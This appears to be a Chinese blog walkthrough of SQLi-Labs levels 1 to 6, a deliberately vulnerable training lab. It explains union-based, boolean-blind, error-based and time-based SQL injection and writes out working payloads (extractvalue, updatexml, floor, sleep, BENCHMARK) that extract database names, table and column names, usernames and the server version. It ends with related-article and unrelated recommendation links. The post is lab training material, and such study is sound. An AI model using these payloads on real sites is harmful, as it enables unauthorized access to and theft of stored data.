SQLi-Labs之1~6关 - 常规注入与盲注
年初五 财神入
第一关
联合注入
1.准备

2.加'截断

3.order by 判断查询列数

4.同上

5.联合查询判断字段位置

6.查数据库名

7.1 查表名

7.2 查列名

8.查数据

第二关

不需要单引号截断,查询代码用了整数值
其余与第一关相同
第三关

说明用了(' ')结构

换成')即可
第四关

说明用了(" ")结构

换成")即可
第五关

不管输入什么都是提示u r in....
没有回显,尝试盲注
布尔盲注
布尔盲注方式有————
left(1,2)=3 //从左侧截取1的前2位,与3的值比较
ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值
regexp //正则匹配目标值和a-z指定值,正确为1,错误为0
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)
like //和regexp一样
ord() 和 mid()
(1)用left
1.测试


2.测试数据库第一位是否大于b

是否大于y

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试


前两位这样测,以此类推
(2)用length量数据库长度


(3)用substr和ascii



and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
测试表名第一位是不是e
第二位把substr(x,2,1)改成2即可,以此类推

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

(4)用regexp
猜users表的列
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)


(5)用ord和mid
获取user表内容
and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

获取users表中username中的第一行的第一个字符的ascii,与68进行比较
报错盲注
报错盲注类型有————
count,floor,group by
double数值超出范围
bigint溢出 xpath函数——extractvalue和updatexml
数据重复性
(1)floor函数

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a
(2)double数值超出范围
(没能复现成功)

union select (exp(~(select*from(select user())x))),2,3
(3)bigint溢出
(也未能复现成功)

union select(!(select * from(select user())x) - ~0),2,3
(4)xpath函数

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)
(5)数据重复性

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x
时间盲注
时间盲注类型有————
sleep()函数
BENCHMARK()函数
(1)sleep函数
错误,延时5秒

正确

and If(ascii(substr(database(),1,1))=115,1,sleep(5))
(2)BENCHMARK函数
正确

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1
当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源
第六关
对id参数进行了处理,把'换成''即可
至此已基本介绍完一般注入类型
SQLi-Labs之1~6关 - 常规注入与盲注的更多相关文章
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关
0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...
- SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...
- webgote的例子(6)SQL注入(盲注)
SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- SQL注入:盲注
盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- ctfhub技能树—sql注入—时间盲注
打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...
- DVWA-sql注入(盲注)
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
随机推荐
- elasticsearch5.4安装
1.从官网下载ES 安装包: elasticsearch-.tar.gz 2.解压到要安装的目录 注意:一定要切换用户,不能用root用户解压,不能用root用户启动 tar -zxvf elasti ...
- ASP.NET ASHX 一般处理程序教程
你不想创建一个普通ASP.NET的Web窗体页.而又要通过一个查询字符串返回一个动态的图片.XML或者非HTML网页.这是一个用C#编程语言编写的使用ASHX(一般处理程序)的简单教程. 简介 首先, ...
- https协议 和 Charles 进行https抓包原理
本文转载自:https://blog.csdn.net/fox64194167/article/details/80387696 1.对称加密 其变成复杂的加密密文发送出去.收信方收到密文后,若想解读 ...
- break、continue与数组
一. 1.break与continue.这两个关键字一般放在循环的花括号里面使用.break——结束整个循环.continue——结束本次循环,进入下次循环. break的案例: int i = ...
- springboot 多数据源之错误 HikariPool-1 - jdbcUrl is required with driverClassName.
数据源连接报错: 之前在1.5.7的版本的时候用该数据源配置没问题,看如下所示 springboot1.5.7配置多数据源: datasource.master.url=jdbc:mysql://lo ...
- Socket.io 入门 - Renyi的博客
Socket.io Vue 中使用 NPM 安装 npm install vue-socket.io --save npm install --save socket.io-client 引用 详情 ...
- # Django 2.2.*问题记录
使用pymysql作为Django连接MySQL数据库的工具时,碰到以下问题,留下记录以便后期遇到相同问题时查看. 问题1 django.core.exceptions.ImproperlyConfi ...
- L53-Maximum-Subarray
题目描述 Find the contiguous subarray within an array (containing at least one number) which has the lar ...
- Android下的定时任务
Android中的定时任务一般有两种实现方式,一种是使用JavaAPI里的Timer类,另一种是使用android的Alarm机制. 这两种方式在多数情况下都能实现类似的效果,但Timer有一个明显的 ...
- ES6学习笔记(三):教你用js面向对象思维来实现 tab栏增删改查功能
前两篇文章主要介绍了类和对象.类的继承,如果想了解更多理论请查阅<ES6学习笔记(一):轻松搞懂面向对象编程.类和对象>.<ES6学习笔记(二):教你玩转类的继承和类的对象>, ...